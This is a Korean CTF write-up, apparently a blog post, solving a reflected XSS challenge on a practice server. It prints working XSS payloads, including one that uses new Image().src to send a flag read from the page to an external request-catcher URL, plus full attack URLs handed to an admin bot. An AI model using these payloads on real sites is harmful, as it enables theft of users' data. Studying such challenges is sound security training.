본문 바로가기

WarGame/SegFault

Basic Script Prac

문제 정보

1. XSS 포인트 확인

XSS가 발생한다는 마이페이지에 접속 시,

user 파라미터에 사용자의 ID가 넘어가는 모습을 볼 수 있다.

user 파라미터 변경 시,

파라미터 데이터가 

사용자의 개인정보를 출력해 주는 곳에 찍히는 것을 볼 수 있다.

(* Reflected XSS 포인트 발견)

2. 사용 가능한 HTML 특수문자 체크

user 파라미터에 특수문자(<, >, ", ')를 삽입해 보니,

응답에서 모든 특수문자가 HTML Entity로 치환되지 않는 모습을 볼 수 있다.

3. 스크립트 삽입

xss" autofocus onfocus="alert(1)"/><br"

user 파라미터에 스크립트를 삽입하고

http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=xss"+autofocus+onfocus="alert(1)"/><br"

완성된 Reflected XSS 공격 주소에 접속해 보니,

스크립트가 동작하는 것을 확인할 수 있었다.

4. 정보 추출

Flag는 관리자 봇 마이페이지의 Flag Here..! 칸에 존재할 것으로 추측할 수 있다.

Flag가 출력되는 칸의 name 속성 값을 얻은 뒤,

자바스크립트를 통해 Flag가 출력될

<input> 태그의 placeholder 속성 값에 접근하는 코드를 완성했다.

xss" autofocus onfocus="new Image().src='공격자_서버_주소'+document.getElementsByName('info')[0].placeholder;"/><br"

이후, user 파라미터에 placeholder 속성 값을 공격자 서버로 전송하는 스크립트를 작성하고,

해당 스크립트를 요청하는 공격 URL을 작성했다.

http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=
xss"+autofocus+onfocus="new+Image().src='https://en88y0voes91u.x.pipedream.net/?flag='%2bdocument.getElementsByName('info')[0].placeholder;"/><br"

완성된 URL에 접속해 보니,

일반 사용자의 개인정보 란에 있는

Flag Here..! 라는 문자열이 서버에 전송된 것을 확인할 수 있다.

관리자 봇이 해당 공격 URL에 접근할 수 있도록

URL을 전달해 주었다.

이후, 공격자 서버에 전달된 요청을 확인해 보니,

Flag 값을 확인할 수 있었다.

더보기
xss"/><script>alert(document.getElementsByName('info')[0].placeholder)</script><br"

첫 공격 시도에는 <script> 태그를 이용해서 Flag Here..! 문자열을 출력해 보았다.

하지만, 해당 URL에 접근했을 때, alert 창이 뜨지 않았다.

콘솔에 뜨는 에러 메시지를 확인해 보니,

placeholder 속성 값이 undefined 된 것을 알 수 있었고,

페이지 소스를 확인해 보니,

삽입한 스크립트가 출력될 placeholder 속성 값이 생성되기 전에 먼저 실행되기 때문에

 placeholder 속성 값을 찾을 수 없어 생기는 에러임을 확인할 수 있었다.

xss"/><script>window.onload=function(){alert(document.getElementsByName('info')[0].placeholder)}</script><br"

xss"/>
<script>
window.onload = function() {
	alert(document.getElementsByName('info')[0].placeholder)
}
</script>
<br"

이후,

HTML 객체가 전부 실행되고 스크립트가 동작할 수 있도록

 window.onload를 활용해 user 파라미터에 삽입할 스크립트를 작성했다.

http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=xss"/><script>window.onload=function(){alert(document.getElementsByName('info')[0].placeholder)}</script><br"

 완성된 URL에 접근해 보니,

정상적으로 Flag Here..! 문자열이 알림창으로 추출되는 것을 확인할 수 있었다.

 

'WarGame > SegFault' 카테고리의 다른 글

Steal Info 2  (0) 2024.06.30
Steal Info  (0) 2024.06.30
XSS Challenge  (1) 2024.06.24
XSS 6  (0) 2024.06.17
XSS 5  (0) 2024.06.16